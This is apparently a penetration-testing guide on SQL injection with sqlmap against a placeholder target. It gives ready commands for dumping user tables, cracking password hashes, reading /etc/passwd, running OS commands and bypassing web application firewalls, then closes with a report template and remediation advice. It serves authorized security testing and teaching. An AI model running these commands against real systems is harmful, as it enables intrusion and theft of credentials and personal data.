During authorized web application penetration testing engagements
When manual testing reveals potential SQL injection points in parameters, headers, or cookies
For validating SQL injection findings from automated scanners like Burp Suite or OWASP ZAP
When you need to demonstrate the impact of SQL injection by extracting data from backend databases
During CTF challenges involving SQL injection exploitation
Prerequisites
Authorization: Written penetration testing agreement (Rules of Engagement) for the target
sqlmap: Install via pip install sqlmap or apt install sqlmap on Kali Linux
Python 3.6+: Required runtime for sqlmap
Burp Suite (optional): For capturing and replaying HTTP requests
Target access: Network connectivity to the target web application
Browser with proxy: Firefox with FoxyProxy for intercepting requests
Workflow
Step 1: Identify Potential Injection Points
Manually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.
# Start Burp Suite proxy and capture requests# Look for parameters in URLs, POST bodies, cookies, and headers# Example target URL with a suspected injectable parameter:# https://target.example.com/products?id=1# Test manually for basic SQL injection indicators
curl -k "https://target.example.com/products?id=1'"# Look for SQL error messages like:# - "You have an error in your SQL syntax"# - "ORA-01756: quoted string not properly terminated"# - "Microsoft SQL Native Client error"
Step 2: Run sqlmap Basic Detection Scan
Launch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.
# Basic GET parameter test
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent
# For POST requests (save the request from Burp Suite to a file)
sqlmap -r request.txt --batch --random-agent
sqlmap -u \
--data= \
-p --batch --random-agent
sqlmap -u \
--cookie= \
-p --batch --random-agent
# Test specific parameter in a POST request
"https://target.example.com/login"
"username=admin&password=test"
"username"
# Test with cookie-based injection
"https://target.example.com/dashboard"
"session=abc123; user_id=5"
"user_id"
Step 3: Enumerate Database Structure
Once injection is confirmed, enumerate databases, tables, and columns.
# List all databases
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent
# List tables in a specific database
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db --tables --batch --random-agent
# List columns in a specific table
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --columns --batch --random-agent
Step 4: Extract Data from Target Tables
Dump the contents of sensitive tables to demonstrate impact.
# Dump specific columns from a table
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users -C "username,password,email" \
--dump --batch --random-agent
# Dump with row limit to avoid excessive data extraction
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --dump --start=1 --stop=10 \
--batch --random-agent
# Attempt to crack password hashes automatically
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users -C "username,password" \
--dump --batch --passwords --random-agent
Step 5: Test for Advanced Exploitation Vectors
Assess the full impact by testing OS-level access and file operations.
# Check current database user and privileges
sqlmap -u "https://target.example.com/products?id=1" \
--current-user --current-db --is-dba --batch --random-agent
# Attempt to read server files (if DBA privileges exist)
sqlmap -u "https://target.example.com/products?id=1" \
--file-read="/etc/passwd" --batch --random-agent
# Attempt OS command execution (MySQL with FILE privilege)
sqlmap -u "https://target.example.com/products?id=1" \
--os-cmd="whoami" --batch --random-agent
Step 6: Use Tamper Scripts to Bypass WAF/Filters
When Web Application Firewalls or input filters block basic payloads, use tamper scripts.
# Common tamper scripts for WAF bypass
sqlmap -u "https://target.example.com/products?id=1" \
--tamper="space2comment,between,randomcase" \
--batch --random-agent
# For specific WAF bypass (e.g., ModSecurity)
sqlmap -u "https://target.example.com/products?id=1" \
--tamper="modsecurityversioned,modsecurityzeroversioned" \
--batch --random-agent
# List all available tamper scripts
sqlmap --list-tampers
Step 7: Generate Report and Clean Up
Document findings and clean up any artifacts.
# sqlmap stores results in ~/.local/share/sqlmap/output/# Review the target output directoryls -la ~/.local/share/sqlmap/output/target.example.com/
# Export results with specific output directory
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --dump \
--output-dir="/tmp/pentest-results" \
--batch --random-agent
# Clean sqlmap session data after engagement
sqlmap --purge
Key Concepts
Concept
Description
Union-based SQLi
Uses UNION SELECT to append attacker query results to the original query output
Blind Boolean SQLi
Infers data one bit at a time by observing true/false application responses
Blind Time-based SQLi
Uses database sleep functions (e.g., SLEEP(5)) to infer data based on response delays
Error-based SQLi
Extracts data through verbose database error messages returned in HTTP responses
Stacked Queries
Executes multiple SQL statements separated by semicolons for INSERT/UPDATE/DELETE operations
Out-of-band SQLi
Exfiltrates data via DNS or HTTP requests initiated by the database server
Tamper Scripts
sqlmap plugins that modify payloads to bypass WAFs and input sanitization filters
Second-order SQLi
Injected payload is stored and executed later in a different query context
Tools & Systems
Tool
Purpose
sqlmap
Automated SQL injection detection and exploitation framework
Burp Suite Professional
HTTP proxy for intercepting, modifying, and replaying requests
OWASP ZAP
Free alternative to Burp for web application scanning and proxying
Havij
Automated SQL injection tool with GUI (Windows)
jSQL Injection
Java-based GUI tool for SQL injection testing
DBeaver/DataGrip
Database clients for verifying extracted data structure
Common Scenarios
Scenario 1: E-commerce Product Page SQLi
A product detail page uses id parameter directly in SQL query. Use sqlmap to extract the full customer database including payment information to demonstrate critical business impact.
Scenario 2: Login Form Bypass
A login form concatenates user input into an authentication query. Exploit to bypass authentication and enumerate all user credentials stored in the database.
Scenario 3: Search Function with WAF Protection
A search feature is vulnerable to SQL injection but protected by a WAF. Use tamper scripts like space2comment and between to encode payloads and bypass the filter rules.
Scenario 4: Cookie-based Blind SQL Injection
A session cookie value is used in a database query on the server side. Use time-based blind injection techniques to extract data character by character.
Output Format
## SQL Injection Finding
**Vulnerability**: SQL Injection (Union-based)
**Severity**: Critical (CVSS 9.8)
**Location**: GET parameter `id` at /products?id=1
**Database**: MySQL 8.0.32
**Impact**: Full database read access, 15,000 user records exposed
**OWASP Category**: A03:2021 - Injection
### Evidence
- Injection point: `id` parameter (GET)
- Technique: UNION query-based
- Backend DBMS: MySQL >= 5.0
- Current user: app_user@localhost
- DBA privileges: No
### Databases Enumerated
1. information_schema
2. target_app_db
3. mysql
### Sensitive Data Exposed
- Table: users (15,247 rows)
- Columns: id, username, email, password_hash, created_at
### Recommendation
1. Use parameterized queries (prepared statements) for all database interactions
2. Implement input validation with allowlists for expected data types
3. Apply least-privilege database permissions for the application user
4. Deploy a Web Application Firewall as defense-in-depth
5. Enable database query logging and monitoring for anomalous patterns
